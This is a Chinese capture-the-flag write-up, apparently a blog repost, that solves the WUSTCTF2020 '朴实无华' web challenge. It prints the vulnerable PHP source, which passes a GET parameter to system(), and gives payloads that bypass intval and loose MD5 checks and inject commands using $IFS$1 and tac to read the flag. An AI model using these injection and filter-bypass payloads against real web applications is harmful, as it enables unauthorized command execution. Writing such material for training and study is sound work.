首页 > 其他分享 >今天是周三?

今天是周三?

时间:2024-12-18 16:33:02浏览次数:6  
标签:num get die GET flag 周三 今天 md5

[WUSTCTF2020]朴实无华

首先打开页面,发现无信息

image

含泪扫墓路,发现robots.txt

image

访问其中的链接,此时发现http头中藏有一个路径

image

直接访问,得到以下代码,有一点点乱码,用抓包软件打开即可

image

image

发现代码分为三关,我们一关一关看

第一关:intval绕过

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

这里我们注意到intval函数中只有一个参数,所以不会进行进制转换

如果我们在第一个判断中传入0x9999这种16进制数,是会被读取为0的

同时在第二个判断中0x9999+1会得到一个int,传入后大于2021即可

到此为止,第一关已经绕过了

payload:http://xx.com/fl4g.php?num=0x9999

第二关:MD5绕过

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

一个比较常规的md5绕过

一个数值md5前后相等(弱相等)

md5('0e215962017');为0e291242476940776845150308577824

两者弱相等(科学记数法)

payload:http://xx.com/fl4g.php?num=0x9999&md5=0e215962017

第三关:命令执行绕过

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

判断了是否有空格,替换了cat命令

先用ls查看目录

image

直接开绕$IFS$1绕过空格,tac绕过cat

image

最终payload

/fl4g.php?num=0x6666&md5=0e215962017&get_flag=tac$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

标签:num,get,die,GET,flag,周三,今天,md5
From: https://www.cnblogs.com/Aixve/p/18615271

相关文章

  • 今天用c#手搓进销存
    usingBookManagement.entity;usingBookManagement.service;usingBookManagement.util;usingSystem.Windows;namespaceBookManagement.page{publicpartialclassLoginWindow:Window{privatereadonlyDatabaseService_databaseService;......
  • 今天我们来聊一下计算机图形学中球坐标系以及他在游戏中的实际应用
    在计算机图形学中,球坐标系是一种用于表示三维空间中点的位置的坐标系统。它通过半径和两个角度来描述点的位置,通常表示为(r,θ,φ),其中:r:表示从原点到该点的距离(即半径)。它是一个非负数,表示点到原点的直线距离。θ(theta):表示从Z轴到该点的夹角。这个角度通常在0到......
  • 2024.10.11(周三)
    1、    (1)候选类:用户、会议室、会议中心、会议、会议人数、会议时间、邮寄、电子邮件、开会人员、代表证、预订、系统(2)系统类:①用户:系统的使用者,具有预订、修改、取消会议的行为。②会议中心:系统的主要服务实体,负责管理所有会议和相关操作。③会议室:提供会议场所资源......
  • 今天最新早安早上好精选图片,早安吉祥、平安健康
    1、阳光名副其实,小鸟在耳边唱歌,愿你开怀笑口舒展眉,幸福与你同行为伴随。晨风轻抚你的面,甜蜜与你相随,祝福快乐不打烊,让美好记忆扩散!早安!2、早安!朝阳夕阳,美不胜收,亲情友情,珍贵如金。每日问候,如聚如乐,心态年轻,健康快乐。早上好!愿你的每一天,阳光明媚,欢笑常伴。3、太阳与希望一......
  • 群控系统服务端开发模式-应用开发-获取登录者今天操作日志
    一、后端api开放路由    在根目录下route文件夹下app.php文件中,在perimission的group中添加如下代码:Route::get('member/personal_log','permission.Member/personalLog');//获取个人信息操作接口二、后端api添加方法    在根目录下app文件夹下controlle......
  • 2024.12.11 周三
    2024.12.11周三Q1.1100给定一长度为$n$的数组,你需要执行$k$次操作:每次选择一连续子数组(可为空),将和作为一元素放到到数组的任意位置。问最后数组和的最大值。Q2.1100给你一长度为$2n$的数组$a$,$1$~$n$各出现2次。让你找出两个大小为$2k$集合$l$,$r$,其中$l$属于$a$1......
  • 2024.12.4 周三
    2024.12.4周三Q1.1000给定01串,操作:选择l,r,将s[r]放到s[l]前:s[l]s[l+1]...s[r-1]s[r]->s[r]s[l]s[l+1]...s[r-1],代价为r-l+1/区间长度。问最小代价将01串由小到大排序。Q2.1300给定2行'<''>'组成的字符串,起点[1,1],可选4个方向走一步,然后必须根据所在字符走一步。问是......
  • 今天继续补实验
    packageMain;importjava.io.IOException;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.hbase.HBaseConfiguration;importorg.apache.hadoop.hbase.TableName;importorg.apache.hadoop.hbase.client.Admin;importorg.apache.hadoop.hbas......
  • 2024.11.27(周三)
    importpandasaspdfromsklearn.datasetsimportload_irisfromsklearn.model_selectionimportcross_val_score,cross_validate,StratifiedKFoldfromsklearn.ensembleimportRandomForestClassifierfromsklearn.metricsimportprecision_score,recall_score,......
  • 今天你学C++了吗——C++中的类与对象(第三集)
    ♥♥♥~~~~~~欢迎光临知星小度博客空间~~~~~~♥♥♥♥♥♥零星地变得优秀~也能拼凑出星河~♥♥♥♥♥♥我们一起努力成为更好的自己~♥♥♥♥♥♥如果这一篇博客对你有帮助~别忘了点赞分享哦~♥♥♥♥♥♥如果有什么问题可以评论区留言或者私信我哦~♥♥♥✨✨✨✨✨✨......